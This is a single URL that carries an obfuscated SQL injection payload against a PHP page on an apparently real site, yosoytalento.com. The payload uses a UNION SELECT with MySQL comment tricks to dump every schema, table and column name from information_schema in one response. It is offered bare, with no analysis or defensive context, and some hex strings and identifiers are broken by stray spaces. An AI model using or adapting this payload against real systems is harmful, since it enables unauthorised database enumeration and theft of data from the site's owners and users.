http://www.yosoytalento.com/prueba3/proyectosespeciales.php?idproyectosespecial=-317'+union+/*!select*/+1,2,3,4,(/*!select*/(@x)from(/*!select*/(@x:=0x00),(/*!select*/(null)from(information_schema./*!columns*/)where(table_schema!=0x696e666f726d6174696f6e5f736 368656d61)and(0x00)in(@x:=/*!concat*/(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,c olumn_name))))x),6,7,8,9,10,11,12,13+--+